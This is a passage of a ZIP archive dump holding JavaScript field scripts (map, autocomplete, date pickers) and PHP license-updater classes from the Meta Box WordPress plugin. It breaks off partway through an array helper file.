PK     0w\H?"  ?"     dashboard/lib/meta-box/js/map.jsnu [        ( function ( $, document, window, google, rwmb, i18n ) {
	'use strict';

	// Use function construction to store map & DOM elements separately for each instance
	var MapField = function ( $container ) {
		this.$container = $container;
	};

	// Geocoder service.
	var geocoder = new google.maps.Geocoder();
	// Autocomplete Service.
	var autocomplete = new google.maps.places.AutocompleteService();
	// Use prototype for better performance
	MapField.prototype = {
		// Initialize everything
		init: function () {
			this.initDomElements();
			this.initMapElements();

			this.initMarkerPosition();
			this.addListeners();
			this.autocomplete();
		},

		// Initialize DOM elements
		initDomElements: function () {
			this.$canvas = this.$container.find( '.rwmb-map-canvas' );
			this.canvas = this.$canvas[ 0 ];
			this.$coordinate = this.$container.find( '.rwmb-map' );
			this.addressField = this.$container.data( 'address-field' );
		},

		setCenter: function ( location ) {
			if ( !( location instanceof google.maps.LatLng ) ) {
				location = new google.maps.LatLng( parseFloat( location.lat ), parseFloat( location.lng ) );
			}
			this.map.setCenter( location );
			if ( this.marker ) {
				this.marker.setPosition( location );
				return;
			}

			this.marker = new google.maps.Marker( {
				position: location,
				map: this.map,
				draggable: true,
			} );
		},

		initMapElements: function () {
			this.map = new google.maps.Map( this.canvas, {
				zoom: 14,
				streetViewControl: 0,
				mapTypeId: google.maps.MapTypeId.ROADMAP
			} );

			// If there is a saved location, don't set the default location.
			if ( this.$coordinate.val() ) {
				return;
			}

			// Load default location if it's set.
			let defaultLoc = this.$canvas.data( 'default-loc' );
			if ( defaultLoc ) {
				const [ lat, lng ] = defaultLoc.split( ',' );
				return this.setCenter( { lat, lng } );
			}

			// Set default location to Dublin as a start.
			const dublin = { lat: 53.346881, lng: -6.258860 };
			this.setCenter( dublin );

			// Try to load current user location. Note that Geolocation API works only on HTTPS.
			if ( location.protocol.includes( 'https' ) && navigator.geolocation ) {
				navigator.geolocation.getCurrentPosition( position => this.setCenter( { lat: position.coords.latitude, lng: position.coords.longitude } ) );
			}
		},

		initMarkerPosition: function () {
			const coordinate = this.$coordinate.val();

			if ( coordinate ) {
				const location = coordinate.split( ',' );
				this.setCenter( { lat: location[ 0 ], lng: location[ 1 ] } );

				const zoom = location.length > 2 ? parseInt( location[ 2 ], 10 ) : 14;
				this.map.setZoom( zoom );
			} else if ( this.addressField ) {
				this.geocodeAddress( false );
			}
		},

		// Add event listeners for 'click' & 'drag'
		addListeners: function () {
			var that = this;

			/*
			 * Auto change the map when there's change in address fields.
			 * Works only for multiple address fields as single address field has autocomplete functionality.
			 */
			if ( this.addressField.split( ',' ).length > 1 ) {
				var geocodeAddress = that.geocodeAddress.bind( that );
				var addressFields = this.addressField.split( ',' ).forEach( function ( part ) {
					var $field = that.findAddressField( part );
					if ( null !== $field ) {
						$field.on( 'change', geocodeAddress );
					}
				} );
			}

			google.maps.event.addListener( this.map, 'click', function ( event ) {
				that.marker.setPosition( event.latLng );
				that.updateCoordinate( event.latLng );
			} );

			google.maps.event.addListener( this.map, 'zoom_changed', function ( event ) {
				that.updateCoordinate( that.marker.getPosition() );
			} );

			google.maps.event.addListener( this.marker, 'drag', function ( event ) {
				that.updateCoordinate( event.latLng );
			} );

			/**
			 * Custom event to refresh maps when in hidden divs.
			 * @see https://developers.google.com/maps/documentation/javascript/reference ('resize' Event)
			 */
			var refresh = that.refresh.bind( this );
			$( window ).on( 'rwmb_map_refresh', refresh );

			// Refresh on meta box hide and show
			rwmb.$document.on( 'postbox-toggled', refresh );
			// Refresh on sorting meta boxes
			$( '.meta-box-sortables' ).on( 'sortstop', refresh );
		},

		refresh: function () {
			if ( !this.map ) {
				return;
			}
			var zoom = this.map.getZoom(),
				center = this.map.getCenter();

			google.maps.event.trigger( this.map, 'resize' );
			this.map.setZoom( zoom );
			this.map.panTo( center );
		},

		// Autocomplete address
		autocomplete: function () {
			var that = this,
				$address = this.getAddressField();

			if ( null === $address ) {
				return;
			}

			// If Meta Box Geo Location installed. Do not run autocomplete.
			if ( $( '.rwmb-geo-binding' ).length ) {
				var geocodeAddress = that.geocodeAddress.bind( that );
				$address.on( 'selected_address', geocodeAddress );
				return false;
			}

			$address.autocomplete( {
				source: function ( request, response ) {
					// if add region only search in that region
					var options = {
						'input': request.term,
						'componentRestrictions': { country: that.$canvas.data( 'region' ) }
					};
					// Change Geocode to getPlacePredictions .
					autocomplete.getPlacePredictions( options, function ( results ) {
						if ( results == null || !results.length ) {
							response( [ {
								value: '',
								label: i18n.no_results_string
							} ] );
							return;
						}
						response( results.map( function ( item ) {
							return {
								label: item.description,
								value: item.description,
								placeid: item.place_id,
							};
						} ) );
					} );
				},
				select: function ( event, ui ) {
					geocoder.geocode( {
						'placeId': ui.item.placeid
					},
						function ( responses, status ) {
							if ( status == 'OK' ) {
								const latLng = new google.maps.LatLng( responses[ 0 ].geometry.location.lat(), responses[ 0 ].geometry.location.lng() );
								that.setCenter( latLng );
								that.updateCoordinate( latLng );
							}
						} );
				}
			} );
		},

		// Update coordinate to input field
		updateCoordinate: function ( latLng ) {
			var zoom = this.map.getZoom();
			this.$coordinate.val( latLng.lat() + ',' + latLng.lng() + ',' + zoom ).trigger( 'change' );
		},

		// Find coordinates by address
		geocodeAddress: function ( notify ) {
			var address = this.getAddress(),
				that = this;
			if ( !address ) {
				return;
			}

			if ( false !== notify ) {
				notify = true;
			}
			geocoder.geocode( { 'address': address }, function ( results, status ) {
				if ( status !== google.maps.GeocoderStatus.OK ) {
					if ( notify ) {
						alert( i18n.no_results_string );
					}
					return;
				}
				that.setCenter( results[ 0 ].geometry.location );
				that.updateCoordinate( results[ 0 ].geometry.location );
			} );
		},

		// Get the address field.
		getAddressField: function () {
			// No address field or more than 1 address fields, ignore
			if ( !this.addressField || this.addressField.split( ',' ).length > 1 ) {
				return null;
			}
			return this.findAddressField( this.addressField );
		},

		// Get the address value for geocoding.
		getAddress: function () {
			var that = this;

			return this.addressField.split( ',' )
				.map( function ( part ) {
					part = that.findAddressField( part );
					return null === part ? '' : part.val();
				} )
				.join( ',' ).replace( /\n/g, ',' ).replace( /,,/g, ',' );
		},

		// Find address field based on its name attribute. Auto search inside groups when needed.
		findAddressField: function ( fieldName ) {
			// Not in a group.
			var $address = $( 'input[name="' + fieldName + '"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a cloneable group.
			$address = this.$container.closest( '.rwmb-group-clone' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			// If map and address is inside a non-cloneable group.
			$address = this.$container.closest( '.rwmb-group-wrapper' ).find( 'input[name*="[' + fieldName + ']"]' );
			if ( $address.length ) {
				return $address;
			}

			return null;
		}
	};

	function createController() {
		var $this = $( this ),
			controller = $this.data( 'mapController' );
		if ( controller ) {
			return;
		}

		controller = new MapField( $this );
		controller.init();
		$this.data( 'mapController', controller );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-map-field' ).each( createController );
	}

	function restart() {
		$( '.rwmb-map-field' ).each( createController );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-input', restart );
} )( jQuery, document, window, google, rwmb, RWMB_Map );
PK     0w\l|  |  )  dashboard/lib/meta-box/js/autocomplete.jsnu [        ( function ( $, rwmb, i18n ) {
	'use strict';

	/**
	 * Transform an input into an autocomplete.
	 */
	function transform( e ) {
		var $this = $( this ),
			$search = $this.siblings( '.rwmb-autocomplete-search' ),
			$result = $this.siblings( '.rwmb-autocomplete-results' ),
			name = $this.attr( 'name' );

		// If the function is called on cloning, then change the field name and clear all results
		if ( e.hasOwnProperty( 'type' ) && 'clone' == e.type ) {
			$result.html( '' );
		}

		$search.removeClass( 'ui-autocomplete-input' ).autocomplete( {
			minLength: 0,
			source: $this.data( 'options' ),
			select: function ( event, ui ) {
				$result.append(
					'<div class="rwmb-autocomplete-result">' +
					'<div class="label">' + ( typeof ui.item.excerpt !== 'undefined' ? ui.item.excerpt : ui.item.label ) + '</div>' +
					'<div class="actions">' + i18n.delete + '</div>' +
					'<input type="hidden" class="rwmb-autocomplete-value" name="' + name + '" value="' + ui.item.value + '">' +
					'</div>'
				);

				// Reinitialize value.
				$search.val( '' ).trigger( 'change' );

				return false;
			}
		} );
	}

	function deleteSelection( e ) {
		e.preventDefault();
		var $item = $( this ).parent(),
			$search = $item.parent().siblings( '.rwmb-autocomplete-search' );

		$item.remove();
		$search.trigger( 'change' );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-autocomplete-wrapper input[type="hidden"]' ).each( transform );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-autocomplete', transform )
		.on( 'click', '.rwmb-autocomplete-result .actions', deleteSelection );
} )( jQuery, rwmb, RWMB_Autocomplete );
PK     0w\u7    )  dashboard/lib/meta-box/js/image-select.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function setActiveClass() {
		var $this = $( this ),
			type = $this.attr( 'type' ),
			selected = $this.is( ':checked' ),
			$parent = $this.parent(),
			$others = $parent.siblings();
		if ( selected ) {
			$parent.addClass( 'rwmb-active' );
			if ( type === 'radio' ) {
				$others.removeClass( 'rwmb-active' );
			}
		} else {
			$parent.removeClass( 'rwmb-active' );
		}
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-image-select input' ).trigger( 'change' );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'change', '.rwmb-image-select input', setActiveClass );
} )( jQuery, rwmb );
PK     0w\6	  	  !  dashboard/lib/meta-box/js/date.jsnu [        ( function ( $, _, rwmb ) {
	'use strict';

	/**
	 * Transform an input into a date picker.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' ),
			$inline = $this.siblings( '.rwmb-datetime-inline' ),
			$timestamp = $this.siblings( '.rwmb-datetime-timestamp' ),
			current = $this.val(),
			$picker = $inline.length ? $inline : $this;

		$this.siblings( '.ui-datepicker-append' ).remove(); // Remove appended text

		options.onSelect = function() {
			$this.trigger( 'change' );
		}
		options.beforeShow = function( i ) {
			if ( $( i ).prop( 'readonly' ) ) {
				return false;
			}
		}

		if ( $timestamp.length ) {
			options.onClose = options.onSelect = function () {
				$timestamp.val( getTimestamp( $picker.datepicker( 'getDate' ) ) );
				$this.trigger( 'change' );
			};
		}

		if ( ! $inline.length ) {
			$this.removeClass( 'hasDatepicker' ).datepicker( options );
			return;
		}

		options.altField = '#' + $this.attr( 'id' );
		$this.on( 'keydown', _.debounce( function () {
			// if val is empty, return to allow empty datepicker input.
			if ( ! $this.val() ) {
				return;
			}
			$picker
				.datepicker( 'setDate', $this.val() )
				.find( '.ui-datepicker-current-day' )
				.trigger( 'click' );
		}, 600 ) );

		$inline
			.removeClass( 'hasDatepicker' )
			.empty()
			.prop( 'id', '' )
			.datepicker( options )
			.datepicker( 'setDate', current );
	}

	/**
	 * Convert date to Unix timestamp in milliseconds
	 * @link http://stackoverflow.com/a/14006555/556258
	 * @param date
	 * @return number
	 */
	function getTimestamp( date ) {
		if ( date === null ) {
			return '';
		}
		var milliseconds = Date.UTC( date.getFullYear(), date.getMonth(), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds() );
		return Math.floor( milliseconds / 1000 );
	}

	function init( e ) {
		/**
		 * WordPress sets localized data for jQuery UI datepicker at document ready.
		 * Using setTimeout to ensure the code runs after the localized data is set.
		 * @link https://wordpress.org/support/topic/inline-date-field-not-localization/
		 */
		setTimeout( () => {
			$( e.target ).find( '.rwmb-date' ).each( transform );
		}, 0 );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-date', transform );
} )( jQuery, _, rwmb );
PK     0w\6q
  
  %  dashboard/lib/meta-box/js/datetime.jsnu [        ( function ( $, _, rwmb, i18n ) {
	'use strict';

	/**
	 * Transform an input into a datetime picker.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' ),
			$inline = $this.siblings( '.rwmb-datetime-inline' ),
			$timestamp = $this.siblings( '.rwmb-datetime-timestamp' ),
			current = $this.val(),
			$picker = $inline.length ? $inline : $this;

		$this.siblings( '.ui-datepicker-append' ).remove(); // Remove appended text

		options.onSelect = function() {
			$this.trigger( 'change' );
		}
		options.beforeShow = function( i ) {
			if ( $( i ).prop( 'readonly' ) ) {
				return false;
			}
		}

		if ( $timestamp.length ) {
			options.onClose = options.onSelect = function () {
				$timestamp.val( getTimestamp( $picker.datetimepicker( 'getDate' ) ) );
				$this.trigger( 'change' );
			};
		}

		if ( ! $inline.length ) {
			$this.removeClass( 'hasDatepicker' ).datetimepicker( options );
			return;
		}

		options.altField = '#' + $this.attr( 'id' );
		$this.on( 'keydown', _.debounce( function () {
			// if val is empty, return to allow empty datepicker input.
			if ( ! $this.val() ) {
				return;
			}
			$picker
				.datepicker( 'setDate', $this.val() )
				.find( '.ui-datepicker-current-day' )
				.trigger( 'click' );
		}, 600 ) );

		$inline
			.removeClass( 'hasDatepicker' )
			.empty()
			.prop( 'id', '' )
			.datetimepicker( options )
			.datetimepicker( 'setDate', current );
	}

	/**
	 * Convert date to Unix timestamp in milliseconds
	 * @link http://stackoverflow.com/a/14006555/556258
	 * @param date
	 * @return number
	 */
	function getTimestamp( date ) {
		if ( date === null ) {
			return '';
		}
		var milliseconds = Date.UTC( date.getFullYear(), date.getMonth(), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds() );
		return Math.floor( milliseconds / 1000 );
	}

	// Set language if available
	function setTimeI18n() {
		if ( $.timepicker.regional.hasOwnProperty( i18n.locale ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.locale] );
		} else if ( $.timepicker.regional.hasOwnProperty( i18n.localeShort ) ) {
			$.timepicker.setDefaults( $.timepicker.regional[i18n.localeShort] );
		}
	}

	function init( e ) {
		/**
		 * WordPress sets localized data for jQuery UI datepicker at document ready.
		 * Using setTimeout to ensure the code runs after the localized data is set.
		 * @link https://wordpress.org/support/topic/inline-date-field-not-localization/
		 */
		setTimeout( () => {
			$( e.target ).find( '.rwmb-datetime' ).each( transform );
		}, 0 );
	}

	setTimeI18n();
	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-datetime', transform );
} )( jQuery, _, rwmb, RWMB_Datetime );
PK     0w\    3  dashboard/lib/meta-box/src/Updater/Notification.phpnu [        <?php
namespace MetaBox\Updater;

/**
 * This class notifies users to enter or update license key.
 */
class Notification {
	private $checker;
	private $option;

	/**
	 * Settings page URL.
	 *
	 * @var string
	 */
	private $settings_page;


	public function __construct( Checker $checker, Option $option ) {
		$this->checker = $checker;
		$this->option  = $option;

		$this->settings_page = $option->is_network_activated() ? network_admin_url( 'settings.php?page=meta-box-updater' ) : admin_url( 'admin.php?page=meta-box-updater' );
	}

	/**
	 * Add hooks to show admin notice.
	 */
	public function init() {
		if ( ! $this->checker->has_extensions() ) {
			return;
		}

		// Show update message on Plugins page.
		$extensions = $this->checker->get_extensions();
		foreach ( $extensions as $extension ) {
			$file = "{$extension}/{$extension}.php";
			add_action( "in_plugin_update_message-$file", [ $this, 'show_update_message' ], 10, 2 );
			add_filter( "plugin_action_links_$file", [ $this, 'plugin_links' ], 20 );
		}

		$admin_notices_hook = $this->option->is_network_activated() ? 'network_admin_notices' : 'admin_notices';
		add_action( $admin_notices_hook, [ $this, 'notify' ] );
	}

	public function notify() {
		$excluded_screens = [
			'meta-box_page_meta-box-updater',
			'settings_page_meta-box-updater-network',
			'meta-box_page_meta-box-aio',
		];
		$screen = get_current_screen();
		if ( in_array( $screen->id, $excluded_screens, true ) ) {
			return;
		}

		$messages = [
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'no_key'  => __( 'You have not set your Meta Box license key yet, which means you are missing out on automatic updates and support! Please <a href="%1$s">enter your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'invalid' => __( 'Your license key for Meta Box is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one</a> to enable automatic updates.', 'meta-box' ),
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'error'   => __( 'Your license key for Meta Box is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one</a> to enable automatic updates.', 'meta-box' ),
			// Translators: %3$s - URL to the My Account page.
			'expired' => __( 'Your license key for Meta Box is <b>expired</b>. Please <a href="%3$s" target="_blank">renew your license</a> to get automatic updates and premium support.', 'meta-box' ),
		];
		$status   = $this->option->get_license_status();
		if ( ! isset( $messages[ $status ] ) ) {
			return;
		}

		echo '<div class="notice notice-warning is-dismissible"><p><span class="dashicons dashicons-warning" style="color: #f56e28"></span> ', wp_kses_post( sprintf( $messages[ $status ], $this->settings_page, 'https://elu.to/mnp', 'https://elu.to/mna' ) ), '</p></div>';
	}

	/**
	 * Show update message on Plugins page.
	 *
	 * @param  array  $plugin_data Plugin data.
	 * @param  object $response    Available plugin update data.
	 */
	public function show_update_message( $plugin_data, $response ) {
		// Users have an active license.
		if ( ! empty( $response->package ) ) {
			return;
		}

		$messages = [
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'no_key'  => __( 'Please <a href="%1$s">enter your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'invalid' => __( 'Your license key is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
			'error'   => __( 'Your license key is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
			// Translators: %3$s - URL to the My Account page.
			'expired' => __( 'Your license key is <b>expired</b>. Please <a href="%3$s" target="_blank">renew your license</a>.', 'meta-box' ),
		];
		$status   = $this->option->get_license_status();
		if ( ! isset( $messages[ $status ] ) ) {
			return;
		}

		echo '<br><span style="width: 26px; height: 20px; display: inline-block;">&nbsp;</span>' . wp_kses_post( sprintf( $messages[ $status ], $this->settings_page, 'https://elu.to/mnp', 'https://elu.to/mna' ) );
	}

	public function plugin_links( array $links ): array {
		$status = $this->option->get_license_status();
		if ( 'active' === $status ) {
			return $links;
		}

		$text    = 'no_key' === $status ? __( 'Activate License', 'meta-box' ) : __( 'Update License', 'meta-box' );
		$links[] = '<a href="' . esc_url( $this->settings_page ) . '" class="rwmb-activate-license" style="color: #39b54a; font-weight: bold">' . esc_html( $text ) . '</a>';

		return $links;
	}
}
PK     0w\Bj    /  dashboard/lib/meta-box/src/Updater/Settings.phpnu [        <?php
namespace MetaBox\Updater;

class Settings {
	private $option;
	private $checker;
	private $fake_api_key;

	public function __construct( Checker $checker, Option $option ) {
		$this->checker      = $checker;
		$this->option       = $option;
		$this->fake_api_key = 'Please do not steal this license key';
	}

	public function init() {
		// Whether to enable Meta Box menu. Priority 1 makes sure it runs before adding Meta Box menu.
		$admin_menu_hook = $this->option->is_network_activated() ? 'network_admin_menu' : 'admin_menu';
		add_action( $admin_menu_hook, [ $this, 'enable_menu' ], 1 );
	}

	public function enable_menu() {
		if ( ! $this->checker->has_extensions() ) {
			return;
		}

		// Enable Meta Box menu only in single site.
		if ( ! $this->option->is_network_activated() ) {
			add_filter( 'rwmb_admin_menu', '__return_true' );
		}

		// Add submenu. Priority 90 makes it the last sub-menu item.
		$admin_menu_hook = $this->option->is_network_activated() ? 'network_admin_menu' : 'admin_menu';
		add_action( $admin_menu_hook, [ $this, 'add_settings_page' ], 90 );
	}

	public function add_settings_page() {
		$parent     = $this->option->is_network_activated() ? 'settings.php' : 'meta-box';
		$capability = $this->option->is_network_activated() ? 'manage_network_options' : 'manage_options';
		$title      = $this->option->is_network_activated() ? esc_html__( 'Meta Box License', 'meta-box' ) : esc_html__( 'License', 'meta-box' );
		$page_hook  = add_submenu_page(
			$parent,
			$title,
			$title,
			$capability,
			'meta-box-updater',
			[ $this, 'render' ]
		);
		add_action( "load-{$page_hook}", [ $this, 'save' ] );
	}

	public function render() {
		?>
		<div class="wrap">
			<h1><?php esc_html_e( 'Meta Box License', 'meta-box' ); ?></h1>
			<p><?php esc_html_e( 'Please enter your license key to enable automatic updates for Meta Box extensions.', 'meta-box' ); ?></p>
			<p>
				<?php
				printf(
					// Translators: %1$s - URL to the My Account page, %2$s - URL to the pricing page.
					wp_kses_post( __( 'To get the license key, visit the <a href="%1$s" target="_blank">My Account</a> page on metabox.io website. If you have not purchased any extension yet, please <a href="%2$s" target="_blank">get a new license here</a>.', 'meta-box' ) ),
					'https://elu.to/mua',
					'https://elu.to/mup'
				);
				?>
			</p>

			<form action="" method="post">
				<?php wp_nonce_field( 'meta-box' ); ?>

				<table class="form-table">
					<tr>
						<th scope="row"><?php esc_html_e( 'License Key', 'meta-box' ); ?></th>
						<td>
							<?php
							$messages = [
								'invalid' => __( 'Your license key is <b style="color: #d63638">invalid</b>.', 'meta-box' ),
								'error'   => __( 'Your license key is <b style="color: #d63638">invalid</b>.', 'meta-box' ),
								'expired' => __( 'Your license key is <b style="color: #d63638">expired</b>.', 'meta-box' ),
								'active'  => __( 'Your license key is <b style="color: #00a32a">active</b>.', 'meta-box' ),
							];
							$status   = $this->option->get_license_status();
							$api_key  = 'active' === $status ? $this->fake_api_key : $this->option->get( 'api_key' );
							?>
							<input class="regular-text" name="meta_box_updater[api_key]" value="<?php echo esc_attr( $api_key ); ?>" type="password">
							<?php if ( isset( $messages[ $status ] ) ) : ?>
								<p class="description"><?php echo wp_kses_post( $messages[ $status ] ); ?></p>
							<?php endif; ?>
						</td>
					</tr>
				</table>

				<?php submit_button( __( 'Save Changes', 'meta-box' ) ); ?>
			</form>
		</div>
		<?php
	}

	public function save() {
		$request = rwmb_request();
		if ( ! $request->post( 'submit' ) ) {
			return;
		}
		check_admin_referer( 'meta-box' );

		$option = (array) $request->post( 'meta_box_updater', [] );

		if ( isset( $option['api_key'] ) && $option['api_key'] === $this->fake_api_key ) {
			return;
		}

		$status   = 'invalid';
		$response = null;
		if ( isset( $option['api_key'] ) ) {
			$args     = [
				'key'   => $option['api_key'],
				'force' => true,
			];
			$response = $this->checker->request( 'status', $args );
			$status   = $response['status'] ?? 'invalid';
		}

		if ( empty( $response ) ) {
			add_settings_error( '', 'mb-error', __( 'Something wrong with the connection to metabox.io. Please try again later.', 'meta-box' ) );
		} elseif ( 'active' === $status ) {
			add_settings_error( '', 'mb-success', __( 'Your license is activated.', 'meta-box' ), 'updated' );
		} elseif ( 'expired' === $status ) {
			// Translators: %s - URL to the My Account page.
			$message = __( 'License expired. Please renew on the <a href="%s" target="_blank">My Account</a> page on metabox.io website.', 'meta-box' );
			$message = wp_kses_post( sprintf( $message, 'https://elu.to/mua' ) );

			add_settings_error( '', 'mb-expired', $message );
		} else {
			// Translators: %1$s - URL to the My Account page, %2$s - URL to the pricing page.
			$message = __( 'Invalid license. Please <a href="%1$s" target="_blank">check again</a> or <a href="%2$s" target="_blank">get a new license here</a>.', 'meta-box' );
			$message = wp_kses_post( sprintf( $message, 'https://elu.to/mua', 'https://mup' ) );

			add_settings_error( '', 'mb-invalid', $message );
		}

		$option['status'] = $status;

		$admin_notices_hook = $this->option->is_network_activated() ? 'network_admin_notices' : 'admin_notices';
		add_action( $admin_notices_hook, 'settings_errors' );

		$this->option->update( $option );
	}
}
PK     0w\檠    .  dashboard/lib/meta-box/src/Updater/Checker.phpnu [        <?php
namespace MetaBox\Updater;

use stdClass;

class Checker {
	private $api_url = 'https://metabox.io/wp-json/buse2/updater/';
	private $option;

	public function __construct( Option $option ) {
		$this->option = $option;
	}

	public function init() {
		add_action( 'init', [ $this, 'enable_update' ], 1 );
	}

	public function enable_update() {
		if ( $this->has_extensions() ) {
			add_filter( 'pre_set_site_transient_update_plugins', [ $this, 'check_updates' ] );
			add_filter( 'plugins_api', [ $this, 'get_info' ], 10, 3 );
		}
	}

	public function has_extensions() {
		$extensions = $this->get_extensions();
		return ! empty( $extensions );
	}

	public function get_extensions() {
		if ( ! function_exists( 'get_plugins' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		$extensions = [
			'mb-admin-columns',
			'mb-blocks',
			'mb-core',
			'mb-custom-table',
			'mb-frontend-submission',
			'mb-revision',
			'mb-settings-page',
			'mb-term-meta',
			'mb-user-meta',
			'mb-user-profile',
			'mb-views',
			'meta-box-aio',
			'meta-box-builder',
			'meta-box-columns',
			'meta-box-conditional-logic',
			'meta-box-geolocation',
			'meta-box-group',
			'meta-box-include-exclude',
			'meta-box-show-hide',
			'meta-box-tabs',
			'meta-box-template',

			'mb-favorite-posts',
			'mb-testimonials',
			'mb-user-avatar',
		];
		$plugins    = get_plugins();
		$plugins    = array_map( 'dirname', array_keys( $plugins ) );

		return array_intersect( $extensions, $plugins );
	}

	/**
	 * Check plugin for updates
	 *
	 * @param object $data The plugin update data.
	 *
	 * @return mixed
	 */
	public function check_updates( $data ) {
		static $response = null;

		$request = rwmb_request();

		// Bypass embed plugins via TGMPA.
		if ( $request->get( 'tgmpa-update' ) || 'tgmpa-bulk-update' === $request->post( 'action' ) ) {
			return $data;
		}

		// Make sure to send remote request once.
		if ( null === $response ) {
			$response = $this->request( 'plugins' );
		}

		if ( empty( $response ) ) {
			return $data;
		}

		if ( empty( $data ) ) {
			$data = new stdClass;
		}
		if ( ! isset( $data->response ) ) {
			$data->response = [];
		}

		$plugins = array_filter( $response['data'], [ $this, 'has_update' ] );
		foreach ( $plugins as $plugin ) {
			if ( empty( $plugin['package'] ) ) {
				$plugin['upgrade_notice'] = __( 'UPDATE UNAVAILABLE! Please enter a valid license key to enable automatic updates.', 'meta-box' );
			}

			$data->response[ $plugin['plugin'] ] = (object) $plugin;
		}

		$this->option->update( [
			'status'  => $response['status'],
			'plugins' => array_keys( $plugins ),
		] );

		return $data;
	}

	/**
	 * Get plugin information
	 *
	 * @param object $data   The plugin update data.
	 * @param string $action Request action.
	 * @param object $args   Extra parameters.
	 *
	 * @return mixed
	 */
	public function get_info( $data, $action, $args ) {
		$plugins = $this->option->get( 'plugins', [] );
		if ( 'plugin_information' !== $action || ! isset( $args->slug ) || ! in_array( $args->slug, $plugins, true ) ) {
			return $data;
		}

		$response = $this->request( 'plugin', [ 'product' => $args->slug ] );
		return $response ? (object) $response['data'] : $data;
	}

	public function request( $endpoint, $args = [] ) {
		$args = wp_parse_args( $args, [
			'key'   => $this->option->get_api_key(),
			'url'   => home_url(),
			'force' => false,
		] );

		// Get from cache first.
		$data      = compact( 'endpoint', 'args' );
		$cache_key = 'meta_box_' . md5( serialize( $data ) );
		if ( $this->option->is_network_activated() ) {
			$cache = get_site_transient( $cache_key );
		} else {
			$cache = get_transient( $cache_key );
		}
		if ( ! $args['force'] && $cache ) {
			return $cache;
		}

		$url      = $this->api_url . $endpoint;
		$request  = wp_remote_get( add_query_arg( $args, $url ) );
		$response = wp_remote_retrieve_body( $request );
		$response = json_decode( $response, true );

		// Cache requests.
		if ( $this->option->is_network_activated() ) {
			set_site_transient( $cache_key, $response, DAY_IN_SECONDS );
		} else {
			set_transient( $cache_key, $response, DAY_IN_SECONDS );
		}

		return $response;
	}

	private function has_update( $remote_plugin_data ) {
		$slug    = $remote_plugin_data['plugin'];
		$plugins = get_plugins();

		if ( empty( $plugins[ $slug ] ) ) {
			return false;
		}

		$plugin = $plugins[ $slug ];
		return version_compare( $plugin['Version'], $remote_plugin_data['new_version'], '<' );
	}
}
PK     0w\E    -  dashboard/lib/meta-box/src/Updater/Option.phpnu [        <?php
namespace MetaBox\Updater;

/**
 * This class handles getting and saving the updater option.
 */
class Option {
	/**
	 * Option name.
	 *
	 * @var string
	 */
	private $option = 'meta_box_updater';

	/**
	 * Get an option.
	 *
	 * @param ?string $name    Option name. Pass null to return the option array.
	 * @param mixed   $default Default value.
	 *
	 * @return mixed Option value or option array.
	 */
	public function get( $name = null, $default = null ) {
		$option = $this->is_network_activated() ? get_site_option( $this->option, [] ) : get_option( $this->option, [] );

		return null === $name ? $option : ( $option[ $name ] ?? $default );
	}

	public function get_api_key() : string {
		return defined( 'META_BOX_KEY' ) ? META_BOX_KEY : $this->get( 'api_key', '' );
	}

	public function get_license_status() : string {
		return $this->get_api_key() ? $this->get( 'status', 'active' ) : 'no_key';
	}

	/**
	 * Update the option array.
	 *
	 * @param array $option Option value.
	 */
	public function update( $option ) {
		$old_option = (array) $this->get();

		$option = array_merge( $old_option, $option );
		if ( $this->is_network_activated() ) {
			update_site_option( $this->option, $option );
		} else {
			update_option( $this->option, $option );
		}
	}

	public function is_network_activated() : bool {
		if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
			require_once ABSPATH . '/wp-admin/includes/plugin.php';
		}
		return is_multisite() && is_plugin_active_for_network( 'meta-box/meta-box.php' );
	}
}
PK     0w\~Cj    *  dashboard/lib/meta-box/src/Support/Arr.phpnu [        <?php
namespace MetaBox\Support;

class Arr {
	/**
	 * New array map function that accepts more params than just values.
	 * Params: array|item, callback, other params.
	 */
	public static function map() {
		$args     = func_get_args();
		$items    = array_shift( $args );
		$callback = array_shift( $args );

		if ( ! is_array( $items ) ) {
			array_unshift( $args, $items );
			return call_user_func_array( $callback, $args );
		}

		return array_map(
			function( $item ) use ( $callback, $args ) {
				array_unshift( $args, $item );
				return call_user_func_array( $callback, $args );
			},
			$items
		);
	}

	/**
	 * Convert a comma separated string to array.
	 *
	 * @param array|string $csv Comma separated string.
	 */
	public static function from_csv( $csv ) : array {
		return is_array( $csv ) ? $csv : array_filter( array_map( 'trim', explode( ',', $csv . ',' ) ) );
	}

	/**
	 * Change array key.
	 *
	 * @param  array  $array Input array.
	 * @param  string $from  From key.
